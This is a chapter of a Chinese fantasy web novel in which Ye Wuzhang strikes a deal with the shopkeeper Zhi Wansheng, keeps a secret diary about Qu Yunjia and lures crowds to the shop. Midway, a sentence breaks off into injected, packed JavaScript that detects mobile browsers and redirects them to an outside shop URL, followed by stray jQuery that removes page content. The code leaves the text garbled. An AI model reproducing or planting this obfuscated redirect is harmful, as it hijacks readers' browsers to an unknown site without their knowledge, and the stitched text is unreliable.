业无障第一次意识到了穿书的坏处。
那就是,他没有手机来记录美好生活。
他实在想把这样的曲云伽记录下来。
业无障在床上捂着脸滚了好几圈,才堪堪平复心情,记起自己还有正事要做,调节好情绪后,起身理了理衣服。
他略作思量,轻抬指尖,将灵力输至床上的枕头中,同时完全收敛自身气息。
如此,只要曲云伽不进房间,单凭神识查看,只会将床上的枕头认作业无障。
做好一切,业无障从客栈敞开的窗口悄无声息地离开,根据记忆找到了那家特殊的商铺。
此时夜雾已经有消散的迹象,那家商铺的老板也没再躺着歇息,而是坐在店门口品茶。
“老板雅兴。”业无障非常自来熟地坐到老板对面。
老板是一个瘦削的男人,看上去不过而立之年。
听到动静,他抬起眼皮看了眼业无障,眼神微变,开口询问:“小先生,有何贵干?”
倒是比之前要有礼貌很多。
“我是来找老板做交易的。”业无障笑眯眯。
老板给业无障倒了杯茶:“什么交易?”
业无障也不急着说,喝了口茶,道:“还没问老板贵姓?”
“挚晚生。”
挚晚生说完,又笑道:“你不知道整个技指村都姓挚?哪怕是外族人嫁进或是入赘族中,也是要改姓的。”
业无障看了挚晚生一眼,道:“当然知道,不过您这间商铺如此特立独行,我还以为,您不是技指村的人。”
挚晚生脸上浮出无奈,摇头:“如果可以,我倒是想不生在这里。”
业无障听到这话,也没有追问的意思,而是话锋一转,说回之前的话题。
“我看老板店里生意不太好。”
挚晚生更是苦笑:“大多人来村中都是冲着骨雕,我不卖骨雕,也不会骨雕。”
技指村本就以骨雕扬名,如此生意自然是难做。
“坚守本心,并非有错。”业无障有些突兀的开口。
挚晚生闻言,眼神顿时闪烁不定,一时有些迟疑审视业无障:“……你知道?”
业无障勾唇,没正面回答:“就因为这村中,只有您坚守本心,我这桩生意才会找上您。”
挚晚生脸色有些沉:“……在下愚昧,不懂小先生何意。”
“我助你把店中货物都卖完,您把那串珠链偷偷送予我,如何?”业无障指着之前他看中的那串珠链道。
挚晚生这下是真的听不明白了:“先不说你怎么帮我售卖货物,为何要我‘偷偷’赠予你?”
业无障道:“我自有我的道理,等货物卖完,你带着珠链来找我就是了。”
挚晚生抿唇思索半晌,最后选择点头。
毕竟,他现在也只能死马当活马医了,家中已经好几个月没有进账,他更是还有一家老小要养,如果这些货还卖不出去,他终究要走上绝路。
“如果小先生能帮我卖完货物,别说那串珠链,就是十串,我也给得。”挚晚生认真道。
业无障摆手:“不必,我只看中那一串,不过除此之外,还要您配合我演一出戏。”
挚晚生愣住:“……什么戏?”
业无障看了眼渐亮的天色,道:“我们进去谈吧。”
挚晚生只好带着业无障进了商铺,顺便关上了大门。
“其实我一进村,就察觉那些匠人手中的骨雕……有些异常。”业无障随手翻看柜台上的货物。
挚晚生抿唇,沉默了好一会儿,才说:“既然有所察觉,怎么还留在这里?”
业无障没有回答,而是道:“我要你演的戏也很简单,你只要在合适的时机,将你不愿接触骨雕的原因,告知我哥哥就好。”
“……好。”
严格来说,这都算不上演戏。
挚晚生早就有将这一切公之于众的打算,如此也好,更何况……
“两位仙君,是为神器而来吧。”挚晚生道。
业无障正拿着一本精巧的羊皮本翻着。这本子制作精细,主要还配着一支特殊的晶石笔,能在本子上留下水火不侵的字迹。
“看来,消息传得很快。”业无障倒也不意外。
挚晚生上前一步,眼神恳切:“小仙君不要误会,我之所以知晓二位身份,是因为家中小儿幸得二位仙君搭救,得知二位非同寻常,至于神器……其实早在年前,天神就借梦境中告知村中族老,不久将有两名使者前来收走神器,我看二位仙君非一般修士,所以大胆猜测。”
业无障也差不多猜到了,他随口问:“你儿子是那位名为挚盛友的少年?”
“正是。”
这就难怪了,想来是在他们离开商铺后,挚盛友就过来和他爹说了被救的事情。
既然七神早就托梦,那村中猜到二人身份的绝对不止挚晚生一个人,却没有一个村民主动过来提起神器的事,看来……他们不打算轻易交出神器。
“……小仙君若是喜欢那本子,不如拿走吧。”挚晚生见业无障看着那本子发愣,于是主动开口。
业无障回神:“那怎么行。”
挚晚生摇头:“幸得二位出手搭救,吾儿才捡回一条性命,小仙君不必推辞,权当在下的谢礼吧。”
业无障没说话,他不太想白拿挚晚生的东西。
“再者,我自是相信小仙君有法子帮我卖完货物,这本子……哪怕给小仙君当作定金也不为过。”挚晚生又道。
业无障听到这,懒得再推辞,收下了本子。
商铺大门打开,业无障含笑拜别挚晚生。
挚晚生朝业无障拱手:“小仙君慢走。”
业无障摆手,转身离去,留下挚晚生一人在店门口,独站许久。
不知过了多长时间,一道透着无边惆怅的声音,从晨雾中飘出。
“原本大家,只为一颗匠心啊……可现在……唉。”
最后,挚晚生也只能叹气摇头,转身回了店铺。
回到客栈,业无障首先散去枕头上的灵力。
随后,他小心查看隔壁曲云伽动向,确认人在闭目打坐,未曾察觉到这边的异常后,才放下心来。
目光落到那本新得羊皮本子上,业无障神情微动,思索着,要在上面写些什么比较好。
片刻后,他狐狸眼一亮,笑着在封皮上写下五个大字。
“云云历险记。”
业无障的字苍劲大气,与古朴的羊皮封面很是相称。
写完封面,业无障又翻开本子,开始在第一页写字。
“云云是一条爱漂亮爱干净的大白蛇,身上每一片鳞片都洗得闪闪发光。
云云很喜欢自己的家,可云云的家被天上掉下来的坏蛋拆了,云云被迫开始了历险。
云云喜欢被夸,不喜欢被调戏,但是云云很好哄,夸一句就哄好了。(所以,可以先调戏云云,再夸云云。)
云云喜欢的颜色是自己鳞片的颜色。
云云非常心灵手巧,把自己的蛇蜕做成了漂亮衣服和发带,还把掉下的鳞片做成了梳子和碗筷。
云云经过不懈努力,成功化身类龙!”
写到这,面带温柔笑意的业无障暂时停笔。
合上本子后,他思索着把这本《云云历险记》放在哪里才不会被曲云伽发现。
几番斟酌之下,他联想到了曲云伽的芥子空间,于是调动自身灵力尝试开辟,没想到他只是一试,居然还真的轻松开辟出了一个十立方米左右的空间。
业无障看着自己手上流转的灵力,神色逐渐深沉。
他用起这些灵力来,未免也太顺手了,就好像……这些灵力本来就是属于他的一样。
或许是他天资过人?
想不通的问题,业无障也懒得多想,抬手将《云云历险记》存入芥子空间后,直接倒床休息。
等业无障再度醒来,窗外的夜雾,已然消散殆尽。
他下意识用散开神识,瞧见曲云伽早已醒来。
曲云伽又在擦自己的龙爪,仔仔细细擦了三遍才将龙爪变回手。
业无障顶着一头凌乱发丝,脸上浮出笑意,他随手掏出羊皮本,开始记录。
“云云很喜欢自己新长出来的爪子,每天都要擦三遍。”
业无障很是理解曲云伽对爪子的喜爱。
毕竟,曲云伽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674188|207415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
当了千万年的蛇,日夜勤恳修炼,才长出了这四只爪子,哪能不爱惜。
写完今日的《云云历险记》,业无障翻身下床,洗漱了一番。
目光划过不算清晰的镜面时,业无障的顿住了。
他拿起镜面,盯着镜面中自己的脸,发现了一点异常。
长相倒是和从前大差不差,只是……他左眼皮上原本有一颗小痣,很小,但在干净的脸上很是明显。
可现在,这张脸干净无暇,一颗痣都没了。
难道是随着那些污秽洗掉了?
业无障没细想,曲云伽等他许久了,他随意梳了梳头发,就去敲隔壁门了。
曲云伽开门,见业无障披头散发,眉头微皱。
“锵锵~”
业无障展示手中的鳞片梳子,满脸灿烂:“云云,帮帮忙~”
曲云伽脸色不由和缓下来,他语气有些无奈:“进来吧。”
一刻钟后,业无障一手拉着曲云伽的袖子,一手抱着彩虹,整整齐齐的走出客栈。
两人方向明确,直奔挚晚生的商铺,可今天街上全是游人,拥挤无比,所以两人走得很慢。
两人本就出众,再加上曲云伽身高六尺,几乎是鹤立鸡群,十分引人注目。
“说起来,那家铺子的东西可真是雅观呢,我觉得整个技指村,就那家铺子的东西最好看了!”
业无障突然开口,声音有些大,因为他余光瞧见,有一群贵妇人往这边来了。
如此,倒引得越多人看向他们,只不过曲云伽看上去不太好惹,所以没人敢靠近。
业无障就不同了,他虽抱着一只罕见的异兽,却笑得温和,早就引得不少人悄悄靠近,想要跟他搭话。
听见业无障突然出声,几乎在下一秒,就有人开口问他:“小公子说的是哪家商铺呀?”
业无障见鱼上钩,笑着指着挚晚生商铺的方向:“那边最里间,一家叫做‘晚生谨制’的店铺,卖的小玩意甚是精致美观。”
“昨日我和我哥哥走遍技指村,只有那家最是与众不同,没有卖那些千篇一律的骨雕,而是卖的一些日常能用的精巧物件,晶石发辫呀宝石手链,可漂亮了。”
业无障长相俊俏又笑容亲和,本就让人心生好感,绘声绘色的推销起来,更是引得身边的人都驻足,那些结伴而来的贵妇人和小姐听到业无障的描述,更是跃跃欲试。
“看了几圈骨雕了,确实有些乏味了。”
“走吧,咱去看看。”
“走走走,去看看又不吃亏。”
不一会儿,一群人就往挚晚生那边去了,业无障看着他们的背影,笑容愈深。
他倒是不担心他们去了不买东西,首先挚晚生的东西确实是品质上佳,再者他特意在那些贵妇人面前推销,那些人不差钱,也不会嫌挚晚生卖的东西贵。
只要卖出了第一批,接下来一传十十传百,要不了一天,挚晚生那点货物就清空了。
与众不同,独此一家,本身就是卖点,只是挚晚生从前都没意识到,他的特立独行,本就是优势。
“无障。”
曲云伽水灵灵的声音从背后传来,业无障忙收敛笑容,一脸无辜地回头看他。
“你……”曲云伽不知道怎么形容,他觉得业无障如此行为有些不对,但又不知道哪里不对。
“……如此,那边人就太多了,我们不好找老板问话。”曲云伽终于找到问题点了。
业无障瞪大眼,随后一脸懊悔道:“对不起,云云,我没想到这一点,一时口快,误了正事,现在可怎么办才好?”
“无事。”
见业无障内疚垂首,曲云伽几乎下意识就安慰他:“我们可以先去别的地方看看。”
业无障抬头看他,神情愧疚,语气小心:“真的没关系吗?”
看着业无障的可怜兮兮的模样,曲云伽更是毫不犹豫:“没关系。”
“……好。”
业无障又垂下头,倒不是在表现他内疚的抬不起头,而是他真的要憋不住笑了。
让他一个涉世未深的十九岁高中生,用拙劣演技去诓骗一条同样涉世未深的大白蛇,真是……造了大孽了。